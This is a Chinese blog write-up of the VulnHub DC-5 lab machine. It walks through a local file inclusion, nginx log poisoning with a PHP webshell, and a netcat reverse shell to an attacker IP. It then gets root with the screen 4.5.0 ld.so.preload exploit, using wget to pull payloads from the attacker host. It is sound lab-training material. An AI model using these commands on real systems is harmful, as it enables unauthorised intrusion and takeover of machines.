vulnhub--DC5 WP

DC5

靶机地址:https://www.vulnhub.com/entry/dc-5,314/

1、信息收集

先拿nmap扫一下端口,

nmap -R 192.168.247.0/24

image

扫描出来多出来的就是目标主机,发现打开了80和111端口。
先看看80端口的web服务:image

发现是一堆没什么用的拉丁文,所有页面都点一下,发现其他页面都没什么用,只有concat页面有输入框。

2、漏洞利用

拿wfuzz扫一下目录。

image

这里发现了一个叫footer.php的文件,尝试访问一下。
image
看着应该就是其他页面的页脚
image

那这里猜测可能使用了文件包含,尝试一下?file=footer.php发现页面正常显示,并且这里的年份会随着刷新页面而改变。
再试一下?file=/etc/passwd,发现果然存在文件包含漏洞。
由于该web服务器使用的是nginx+php,所以可以利用日志进行进行命令执行。
用wfuzz爆破一下日志路径,最后发现在/var/log/nginx/access.log

image

使用burp修改user-agent字段为<?php phpinfo() ?>访问,之后再次访问日志,这里不能直接将payload放到url中访问,因为会被url编码。
image

image

这就说明这时可以进行命令执行了,先上传个一句话:<?php system($_GET['x']) ?>到日志中。
之后就可以进行反弹shell了。先用nc建立监听:

nc -nlvp 4444

之后访问http://192.168.247.142/thankyou.php?file=/var/log/nginx/access.log&x=nc%20192.168.247.135%204444%20-e%20/bin/bash就成功拿到shell了。

提权

先切换到交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")

先去找带有SUID权限的文件:

find / -perm -u=s 2>/dev/null

image

这里发现了一个比较特殊的文件:screen-4.5.0

使用searchsploit命令寻找可能存在的漏洞:

searchsploit -w screen 4.5.0

image

发现存在可以利用的漏洞,这里直接去/usr/share/exploitdb/exploits/linux/local/这个目录下找到41154.sh这个文件。
打开看一下发现该文件不能直接运行,而是要分成2个c语言文件,编译后再在靶机上运行。

一个是libhax.c
image

另一个是rootshell.c
image

之后对这两个文件进行编译

gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c
gcc -o ./rootshell ./rootshell.c

编译好后,将这两个文件传到靶机上:

python -m SimpleHTTPServer 8080
cd /tmp
wget 192.168.247.135:8080/libhax.so;wget 192.168.247.135:8080/rootshell

之后运行这个poc

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
whoami

image

这样就获得了root权限。

image

posted @ 2022-03-02 17:26  鑫xin哥  阅读(74)  评论(0编辑  收藏  举报